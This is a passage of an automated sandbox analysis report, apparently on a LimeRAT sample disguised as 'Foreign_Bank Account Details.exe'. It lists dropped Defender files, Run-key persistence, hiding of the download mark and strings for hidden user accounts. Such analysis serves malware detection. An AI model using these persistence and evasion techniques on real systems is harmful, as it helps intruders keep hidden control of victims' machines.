        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-PT\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sq-AL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpOAV.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCopyAccelerator.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\id-ID\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\am-ET\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sk-SK\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\et-EE\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\is-IS\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\gl-ES\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hr-HR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\DefenderCSP.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tr-TR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCommu.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lv-LV\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetoursCopyAccelerator.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-CA\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpDetoursCopyAccelerator.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-CA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdDevFlt.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpClient.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\de-DE\ProtectionManagement.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\NisSrv.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ka-GE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lt-LT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pl-PL\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-PT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MsMpLics.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\te-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sk-SK\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ms-MY\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mi-NZ\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ro-RO\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\gu-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\th-TH\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sl-SI\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Latn-RS\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\uk-UA\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mt-MT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\he-IL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasdlta.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpDetours.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\or-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ga-IE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpCopyAccelerator.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\km-KH\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\eu-ES\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\da-DK\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hu-HU\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ug-CN\mpuxagent.dll.mui

        Boot Survival:

        barindex
        Yara detected LimeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tKZVPqJump to behavior
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run tKZVPqJump to behavior
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CEB0C8 OpenSCManagerW,OpenServiceW,CloseServiceHandle,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,

        Hooking and other Techniques for Hiding and Protection:

        barindex
        May modify the system service descriptor table (often done to hook functions)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpBinary or memory string: KeServiceDescriptorTable
        Hides that the sample has been downloaded from the Internet (zone.identifier)Show sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe:Zone.Identifier read attributes | delete
        Contains functionality to hide user accountsShow sources
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: \microsoft\windows nt\currentversion\winlogon\specialaccounts\userlist
        Source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmpString found in binary or memory: DOWS\CURRENTVERSION\INTERNET SETTINGS\\CertificateRevocationXHKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\\CertificateRevocationSHKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\USER AGENT\\*SHKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\USER AGENT\\*DHKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\PREAPPROVED\*\\*DHKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXT\PREAPPROVED\*\\*LHKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WindowsUpdate\Auto Update\\*>HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\\*WHKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\SpecialAccounts\UserList\\*>HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\\*JHKLM\SOFTWARE\Wow6432Node\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\\*JHKCU\SOFTWARE\Wow6432Node\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\\*@HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS\\LOADLHKCU\SOFTWARE\Wow6432Node\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS\\LOAD?HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS\\RUNKHKCU\SOFTWARE\Wow6432Node\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS\\RUN^HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\*(1)\\DEBUGGERIHKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\PACKAGEDAPPXDEBUG\*(1)\\*IHKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\PACKAGEDAPPXDEBUG\*(1)\\*WHKCU\SOFTWARE\CLASSES\ACTIVATABLECLASSES\PACKAGE\*(1)\DEBUGINFORMATION\*(1)\\DEBUGPATHWHKLM\SOFTWARE\CLASSES\ACTIVATABLECLASSES\PACKAGE\*(1)\DEBUGINFORMATION\*(1)\\DEBUGPATHKHKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SYSTEMRESTORE\\DISABLESR+HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER\\*/HKLM\SOFTWARE\MICROSOFT\SECURITY CENTER\SVC\\*>HKLM\Software\Microsoft\Windows Defender Security Center\*\\*-HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\\*-HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\\*2HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\EUPP\\*2HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\EUPP\\*6HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\EUPP\DSP\\*6HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\EUPP\DSP\\*GHKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\DOWNLOAD\\CHECKEXESIGNATURESEHKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\DESKTOP\GENERAL\\WALLPAPERDHKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\PHISHINGFILTER\\ENABLEDV8AHKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\APPROVED EXTENSIONS\\*AHKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\APPROVED EXTENSIONS\\*HHKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\\*HHKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\LOW RIGHTS\ELEVATIONPOLICY\\*
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeKey value created or modified: HKEY_USERSS-1-5-20\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{67082621-8D18-4333-9C64-10DE93676363} DeviceTicket
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
